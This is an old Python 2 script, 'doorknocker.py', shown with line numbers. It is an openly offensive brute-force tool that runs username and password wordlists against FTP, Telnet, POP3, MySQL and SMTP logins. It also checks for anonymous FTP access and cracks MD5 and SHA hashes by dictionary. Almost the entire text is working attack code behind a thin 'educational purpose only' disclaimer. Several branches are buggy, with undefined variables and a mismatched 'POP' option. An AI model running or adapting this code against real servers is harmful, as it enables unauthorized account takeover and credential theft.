./others/doorknocker.py

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
251.
252.
253.
254.
255.
256.
257.
258.
259.
260.
261.
262.
263.
264.
265.
266.
267.
268.
269.
270.
271.
272.
273.
274.
275.
276.
277.
278.
279.
280.
281.
282.
283.
284.
285.
286.
287.
288.
289.
290.
291.
292.
293.
294.
295.
296.
#!/usr/bin/python
# This was written for educational purpose only. Use it at your own risk.
# Author will be not responsible for any damage!
# Intended for authorized Web Application Pen Testing!
# You need to download the MySQLdb API from http://sourceforge.net/projects/mysql-python 
# save all users list at users.txt and passwords list at pass.txt in the same directory
 
import sys ,time , os,string,ftplib,telnetlib,poplib,hashlib,smtplib, socket
from smtplib import SMTP
from ftplib import FTP
import MySQLdb
 
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
	SysCls = 'clear'
elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
	SysCls = 'cls'
else:
	SysCls = 'unknown'
 
os.system(SysCls)
 
print "\n|---------------------------------------------------------------|"
print "| beenudel1986[@]gmail[dot]com                                  |"
print "|   10/2008      doorknocker.py                                 |"
print "|   Do Visit     www.BeenuArora.com      &        darkc0de.com  |"
print "|   Save Userlist at users.txt   and Password list at pass.txt  |"
print "|---------------------------------------------------------------|\n"
 
 
print "\n\t Enter the D00r\n" 		
print "\n\t\t1. FTP"
print "\n\t\t2. POP3"
print "\n\t\t3. Telnet"
print "\n\t\t4. MySql"
print "\n\t\t5. SMTP"
print "\n\t\t6. Hash"
door=raw_input("\n Enter the Name: ")
door=string.upper(door)
if door=='FTP':
		print "\n\t Enter the server address to be cracked"
		server=raw_input()
 
		try:
  			users = open('users.txt', "r").readlines()
		except(IOError): 
  			print "Error: Check your for filename users.txt\n"
  			sys.exit(1)
 
		try:
  			words = open('pass.txt', "r").readlines()
		except(IOError): 
  			print "Error: Check your wordlist pass.txt\n"
  			sys.exit(1)
 
		print "[+] Server:",server
		print "[+] User Loaded:",len(users)
		print "[+] Words Loaded:",len(words),"\n"
		try:
			f = FTP(server)
			print "[+] Response:",f.getwelcome()
		except (ftplib.all_errors):
			pass
 
		try:
			print "\n[+] Checking for anonymous login\n"
			ftp = FTP(server)
			ftp.login()
			ftp.retrlines('LIST')
			print "\t\nAnonymous login successful!!!\n"
			ftp.quit()
		except (ftplib.all_errors): 
			print "\tAnonymous login unsuccessful\n"
		for user in users:
 
			for word in words:
				try:
					print "-"*22
					print "User:",user,"Password:",word
					ftp = FTP(server)
					ftp.login(user[:-1], word[:-1])
					ftp.retrlines('LIST')
					print "\t\nLogin successful:",word, user
					ftp.quit()
					sys.exit(2)
				except (ftplib.all_errors), msg: 
					#print "An error occurred:", msg
					pass
 
if door=='TELNET':
		print "\n\t Enter the server address to be cracked"
		server=raw_input()
 
		try:
  			users = open('users.txt', "r").readlines()
		except(IOError): 
  			print "Error: Check your userlist at users.txt\n"
  			sys.exit(1)
		try:
			words = open('pass.txt', "r").readlines()
		except(IOError): 
			print "Error: Check your wordlist pass.txt\n"
			sys.exit(1)
 
		print "[+] Server:",server
		print "[+] Users Loaded:",len(users)
		print "[+] Words Loaded:",len(words),"\n"
		for user in users:
			for word in words:
				try:
					print "-"*22
					print "User:",user,"Password:",word
					tn = telnetlib.Telnet(server)
					tn.read_until("login: ")
					tn.write(user + "\n")
					if password:
						tn.read_until("Password: ")
						tn.write(word[:-1] + "\n")
					tn.write("ls\n")
					tn.write("exit\n")
					print tn.read_all()
					print "\t\nLogin successful:",word, user
					tn.close()
					sys.exit(2)
				except: 
					pass
if door=='POP':
		print "\n\t Enter the server address to be cracked"
		server=raw_input()
 
		try:
  			users = open('users.txt', "r").readlines()
		except(IOError): 
  			print "Error: Check your wordlist users.txt\n"
  			sys.exit(1)
 
		try:
			words = open('pass.txt', "r").readlines()
		except(IOError): 
			print "Error: Check your password file pass.txt\n"
			sys.exit(1)
 
		print "[+] Server:",server
		print "[+] User Loaded:",len(users)
		print "[+] Words Loaded:",len(words),"\n"
		for user in users:
			for word in words:
				try:
					print "-"*22
					print "User:",user,"Password:",word
					pop = poplib.POP3(server)
					pop.user(user)
					pop.pass_(word[:-1])
					print "\t\nLogin successful:",word, user
					print pop.stat()
					pop.quit()
					sys.exit(2)
				except (poplib.error_proto), msg: 
					#print "An error occurred:", msg
					pass
 
if door=='MYSQL':
		print "\n\t Enter the server address to be cracked"
		server=raw_input()
		try:
  			users = open('users.txt', "r").readlines()
		except(IOError): 
  			print "Error: Check your user wordlist users.txt\n"
  			sys.exit(1)
 
		print '\n\t Enter the Port number'
		port=raw_input()
		database=raw_input("\n\t Enter the database\n")
		try:
			words = open('pass.txt', "r").readlines()
		except(IOError): 
			print "Error: Check your password wordlist pass.txt\n"
			sys.exit(1)
 
		print "[+] Server:",server
		print "[+] Users Loaded:",len(users),"\n"
		print "[+] Words Loaded:",len(words),"\n"
		for user in users:
 
			for word in words:
				try:
					print "-"*22
					print "User:",user,"Password:",word
					db=MySQLdb.connect(host=server,user=user,passwd=word,db=database,port=int(port))
					print "\t\nLogin successful:",value, user
					db.close()
					sys.exit(2)
				except(MySQLdb.Error), msg: 
					#print "An error occurred:", msg
					pass
if door=='SMTP':
		print "\n\t Enter the server address to be cracked"
		server=raw_input()
		try:
  			users = open('users.txt', "r").readlines()
		except(IOError): 
  			print "Error: Check your user wordlist users.txt\n"
  			sys.exit(1)
 
		try:
			words = open('pass.txt', "r").readlines()
		except(IOError): 
			print "Error: Check your password wordlist pass.txt\n"
			sys.exit(1)
 
		print "[+] Server:",server
		print "[+] Users Loaded:",len(users),"\n"
		print "[+] Words Loaded:",len(words),"\n"
		for user in users:
			for word in words:
				try:
					print "-"*22
					print "User:",user,"Password:",word
					smtp = smtplib.SMTP(server)
					smtp.login(user, word)
					print "\t\nLogin successful:",user, word
					smtp.quit()
					sys.exit(2)
				except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
					#print "An error occurred:", msg
					pass
 
if door=='HASH':
		print "\n\t Enter the algorithm (MD5, SHA1, SHA256, SHA384, SHA512) to be cracked"
		algo=raw_input()
		print "\n\t Enter the Hash to be cracked"
		pw=raw_input()
		print "\n\t Enter the name of the Dictionary List"
		wordlist=raw_input()
		try:
  			words = open(wordlist, "r")
		except(IOError): 
  			print "Error: Check your wordlist path\n"
  			sys.exit(1)
		words = words.readlines()
		print "\n",len(words),"words loaded..."
		file=open('cracked.txt','a')
		if algo == 'md5':
			for word in words:
				hash = hashlib.md5(word[:-1])
				value = hash.hexdigest()
				if pw == value: 
					print "Password is:",word,"\n"
					file.write("\n Cracked Hashes\n\n")
					file.write(pw+"\t\t")
					file.write(word+"\n")
		if algo == 'sha1':
			for word in words:
				hash = hashlib.sha1(word[:-1])
				value = hash.hexdigest()
				if pw == value: 
					print "Password is:",word,"\n"
					file.write("\n Cracked Hashes\n\n")
					file.write(pw+"\t\t")
					file.write(word+"\n")
		if algo == 'sha256':
			for word in words:
				hash = hashlib.sha256(word[:-1])
				value = hash.hexdigest()
				if pw == value: 
					print "Password is:",word,"\n"
					file.write("\n Cracked Hashes\n\n")
					file.write(pw+"\t\t")
					file.write(word+"\n")
 
		if algo == 'sha384':
			for word in words:
				hash = hashlib.sha384(word[:-1])
				value = hash.hexdigest()
				if pw == value: 
					print "Password is:",word,"\n"
					file.write("\n Cracked Hashes\n\n")
					file.write(pw+"\t\t")
					file.write(word+"\n")
 
 
		if algo == 'sha512':
			for word in words:
				hash = hashlib.sha512(word[:-1])
				value = hash.hexdigest()
				if pw == value: 
					print "Password is:",word,"\n"
					file.write("\n Cracked Hashes\n\n")
					file.write(pw+"\t\t")
					file.write(word+"\n")
 
 
 
 
else:
	print "\n Sorry Wrong choice Entered . Exiting.."
	sys.exit(0)
 

Back